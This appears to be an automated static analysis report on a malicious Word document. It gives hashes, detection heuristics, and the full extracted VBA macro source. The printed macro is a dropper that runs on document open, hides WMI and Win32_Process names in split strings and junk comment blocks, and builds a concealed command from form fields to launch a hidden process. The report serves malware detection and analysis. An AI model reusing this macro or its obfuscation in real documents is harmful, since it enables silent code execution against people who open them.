Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 89f70f1ea8bb5601…

MALICIOUS

Office (OLE)

146.6 KB Created: 2019-05-03 16:05:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: eada2cea1fc10e1af16add2f453955b5 SHA-1: 05240ff37d62d3fc1126c7113f2afdeb9742e17c SHA-256: 89f70f1ea8bb56015eb8427c1900918320be4468fdd858cd59c410ff5f6fc1f2
270 Risk Score

Heuristics 8

  • ClamAV: Doc.Malware.Sagent-6961490-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6961490-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set b466236 = b64306(GetObject("winmgmt" + "s:Wi" + "n32_Process" + "Startup"))
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    Set b466236 = b64306(GetObject("winmgmt" + "s:Wi" + "n32_Process" + "Startup"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set b466236 = b64306(GetObject("winmgmt" + "s:Wi" + "n32_Process" + "Startup"))
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8570 bytes
SHA-256: e71b7071e06974e458530c93eafe2700d5a39e25778032df1e897f81a57cf407
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "z0109_5"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "L80697"
Attribute VB_Base = "0{0DBF635E-0BF0-4879-92A4-78EB933DE4C3}{C6E01313-A6F3-4272-A29A-E82A3CFEAE30}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "c4135105"

Attribute VB_Name = "O61268"

Attribute VB_Name = "d008145"

Attribute VB_Name = "E404930"

Attribute VB_Name = "C0865468"
Attribute VB_Base = "0{B81EC3AA-23E4-43F3-B6FF-E55A2AFBEADC}{A47F0161-BA68-4B8B-8C18-47226ACF9267}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "c4_766"
Function b64306(P597904)
   With H2_8275
'.t384967 = (Log(l42924) + 670656478 * w6039291)
'.S83_41 = (Log(D559860) + 921946835 * W2230644)
'.a76965_ = (Log(T092_74) + 624534352 * V401979_)
'.m8_54_50 = (Log(N66572) + 663356453 * f70273)
End With
   With A52473
'.O_683_6 = (Log(B71604) + 955865106 * L21011)
'.J872466 = (Log(b227026) + 43922755 * G37872)
'.q66_65 = (Log(s_192755) + 827179424 * W5169292)
'.w___687 = (Log(f89147_) + 154610939 * p209407)
End With
   With o286079
'.O_8450 = (Log(M993674) + 701828131 * h7486623)
'.P06_00 = (Log(E460891) + 443085446 * i4_517)
'.t762330 = (Log(V39575) + 739301946 * S9077110)
'.Q_9_441 = (Log(v24_86) + 597931695 * o__3923)
End With
Set b64306 = CVar(P597904)
   With p4620119
'.D8905991 = (Log(S58564) + 449523191 * G_595759)
'.m5278327 = (Log(i87_543) + 554212362 * l6111970)
'.D_3340 = (Log(D2499515) + 345195383 * F50_923)
'.a07335 = (Log(Y577256) + 687730489 * l8_86173)
End With
   With U22624
'.z70_50 = (Log(d09008) + 519707540 * z12082)
'.J050874 = (Log(O93_7512) + 910867228 * h99723_0)
'.R5_54_ = (Log(t461058) + 408245483 * k28990_)
'.o85852 = (Log(S3745491) + 135850402 * u409372)
End With
End Function
Sub autoopen()
On Error Resume Next
   With D500_867
'.D5218458 = (Log(H8_37960) + 125860805 * i9044476)
'.X762144 = (Log(F96980) + 626093976 * C2891958)
'.T_033582 = (Log(f5370_) + 112991394 * I6888500)
'.k8417_4 = (Log(P519264) + 606723665 * w18382)
End With
   With o3342_8
'.B_76296 = (Log(r527468) + 835230021 * E206_863)
'.C457736 = (Log(P712404) + 17822314 * m828615)
'.f976626 = (Log(b12135) + 499159253 * B67888)
'.p07072 = (Log(s7827_) + 766622243 * Z97968)
End With
   With I95617
'.r_6942 = (Log(i554679_) + 624914371 * M247624)
'.D5183_39 = (Log(j17250) + 984610944 * q4669_0_)
'.C7_1003 = (Log(D64_6666) + 666628871 * k605377_)
'.U_854681 = (Log(J64356) + 317851729 * N62188)
End With
Call q242804
   With j9_2_03
'.f_29825 = (Log(Z389541) + 907763161 * h038179)
'.C60568 = (Log(j586806) + 24843841 * B97438_3)
'.Q22_126 = (Log(q312066) + 332825624 * E8740839)
'.K541_3 = (Log(l66455) + 858748684 * j9994136)
End With
   With O3959055
'.P063595 = (Log(p5_233) + 138676731 * I94_991)
'.v39499 = (Log(E_58925) + 476561018 * a185705)
'.E4292686 = (Log(a82192) + 153456885 * S7_6037)
'.b800221 = (Log(N3228134) + 890299269 * w45693)
End With
End Sub

Attribute VB_Name = "N6783_85"
Function q242804()
On Error Resume Next
   With A72026
'.G36261 = (Log(j60_00) + 133061365 * E00080_6)
'.G1902940 = (Log(R938_61) + 797246979 * v779088)
'.Q784432 = (Log(m271_65) + 282673520 * t30238)
'.Y1_5125 = (Log(j6_607) + 451867870 * z08147)
End With
   With i2778_39
'.m780536_ = (Log(O4606941) + 23759554 * v7_34_7)
'.i8354_4 = (Log(r007687_) + 759646148 * j_7860)
'.i24_3147 = (Log(d76933) + 400001223 * H47525)
'.i27_6170 = (Log(v773170) + 192691623 * z9540695)
End With
   With J55586
'.N7134_80 = (Log(J17649) + 816673097 * M_0965)
'.b40279 = (Log(l55_090) + 922097100 * k6119929)
'.U9603926 = (Log(d3907557) + 131261021 * w10872)
'.G10613_ = (Log(i285602) + 462523824 * a54689)
End With
Set b466236 = b64306(GetObject("winmgmt" + "s:Wi" + "n32_Process" + "Startup"))
   With i475622
'.k83_239 = (Log(U216470) + 699161194 * D8826425)
'.m182801 = (Log(v9119388) + 321285270 * N7409_1)
'.h1095945 = (Log(W710__17) + 923198967 * j0065380)
'.s6220_37 = (Log(Q961_385) + 876992716 * F8_13_)
End With
   With f671710
'.o0137_ = (Log(O8642956) + 547599508 * q4797_29)
'.B819938 = (Log(N30878) + 411366336 * D0730420)
'.Y35253 = (Log(Y7479365) + 547092782 * A121584)
'.u8801600 = (Log(X549_5) + 394441080 * W95923)
End With
M26653_ = vbError - vbError
   With u2169744
'.p649098 = (Log(w05443) + 898274259 * v300972)
'.D5_07_15 = (Log(h29_5_0) + 198400513 * i41__427)
'.i7_07641 = (Log(O_43962) + 267735008 * u512484_)
'.n562_1 = (Log(R_70_858) + 3350768 * Y202_0)
End With
   With w52461
'.i_2096 = (Log(S0708189) + 155028129 * j1113550)
'.p7586__ = (Log(R524325) + 962627280 * L77_82)
'.s_657_4 = (Log(I33283) + 754193829 * b90_06_)
'.z379664 = (Log(w_92_80) + 234554279 * u64933)
End With
G_554204 = L80697.i7766_.ControlTipText + C0865468.P505_8_1 + L80697.i7766_.ControlSource + C0865468.j320539 + L80697.i7766_.PasswordChar + L80697.i7766_.PasswordChar + C0865468.Y026657 + L80697.i7766_ + L80697.i7766_.PasswordChar + C0865468.Q01926 + L80697.i7766_.ControlSource + C0865468.R6407968 + L80697.i7766_
   With H63570
'.U66514 = (Log(H1151172) + 998347877 * l7__64)
'.N416729_ = (Log(i6339295) + 113238165 * S93224)
'.c116727 = (Log(U432435) + 385272368 * q021398)
'.r569368 = (Log(w723141) + 795144062 * A7994997)
End With
   With u242_80
'.C03777 = (Log(j9_74006) + 687195799 * a635_1)
'.P08_5_ = (Log(Z348221) + 903863026 * u34_6076)
'.r646446_ = (Log(Z7165354) + 160274051 * P012114)
'.W_966__9 = (Log(j2_84429) + 539641063 * K504673)
End With
b466236. _
ShowWindow = M26653_ + M26653_ + M26653_
   With Z2055_7
'.J691620 = (Log(k377382) + 941726084 * X529824)
'.X50754 = (Log(M472775) + 629957288 * V290814)
'.C81_21 = (Log(D08248) + 21180253 * H509820)
'.v57903_3 = (Log(I452_649) + 165386822 * X9110_)
End With
   With Z333237
'.j587_6_ = (Log(G2792643) + 326503687 * z693_4_)
'.a024450 = (Log(z7072_) + 134042403 * i847887)
'.i57862 = (Log(M_35871) + 103661223 * f5591094)
'.z25894 = (Log(a3191882) + 844475174 * E364_139)
End With
   With w3141_6_
'.S5241368 = (Log(i443275) + 507659732 * w395683)
'.c42914 = (Log(i169581) + 677336431 * i35_780_)
'.n941371 = (Log(b403195) + 588462228 * Z996961)
'.m6_1239 = (Log(Z7080367) + 784945947 * K21_580)
End With
   With K42837
'.I6267_87 = (Log(q_4201) + 661780267 * E834330)
'.I4260214 = (Log(V24875) + 954930836 * k562183)
'.K0387053 = (Log(C21717) + 146298312 * A8_39575)
'.F08_22 = (Log(l6545385) + 358181200 * Y6046233)
End With
   With z69_16
'.H41_63 = (Log(N4_66614) + 375798264 * j5403282)
'.z5_45226 = (Log(L43908) + 891854827 * V3932_)
'.Y90021_3 = (Log(K15_95) + 161269886 * J7_638)
'.p320594 = (Log(E22336_8) + 692147548 * a5526764)
End With
   With K_361768
'.u2_32020 = (Log(n90_6665) + 746096791 * T1772686)
'.K1__83 = (Log(Z397426) + 486344062 * a310_26)
'.i146458 = (Log(r_93113_) + 974806102 * a2734_41)
'.s67094 = (Log(U2769847) + 236671844 * j_2950)
End With
Set r54332 = b64306(GetObject("winmgmt" + "s:Wi" + "n32_Process"))
   With a___521
'.Z2058_84 = (Log(p9_882) + 292536915 * w2582_)
'.N28123 = (Log(j7_4828) + 84578414 * P43447_)
'.t15853_ = (Log(F18793) + 33653203 * m805467)
'.r_9124 = (Log(X3_618) + 705058774 * I0961394)
End With
   With G72193
'.S260994 = (Log(z1126016) + 419967744 * s571781)
'.O4998246 = (Log(O266_871) + 817170727 * b2878_)
'.Q196988 = (Log(a57656) + 601005614 * v85_737)
'.K23130_9 = (Log(i804557) + 441803348 * G711310)
End With
r54332.Create X8028125 + G_554204 + u4_699, h_2_558_, b466236, l1903909
   With q70947
'.p649683 = (Log(i224984) + 172670650 * s14278)
'.I836889 = (Log(f7248563) + 245790712 * B8371375)
'.l263154 = (Log(U69897_) + 734434979 * s0551565)
'.a156605 = (Log(h13100) + 404999783 * a1265876)
End With
   With C742_379
'.U1847883 = (Log(Z3146_9) + 838727639 * U469856_)
'.E37750_1 = (Log(m08814) + 210044726 * T4397517)
'.H397664 = (Log(w718762) + 550680791 * l53_2480)
'.H54152_1 = (Log(L97972) + 330615594 * O504823_)
End With
End Function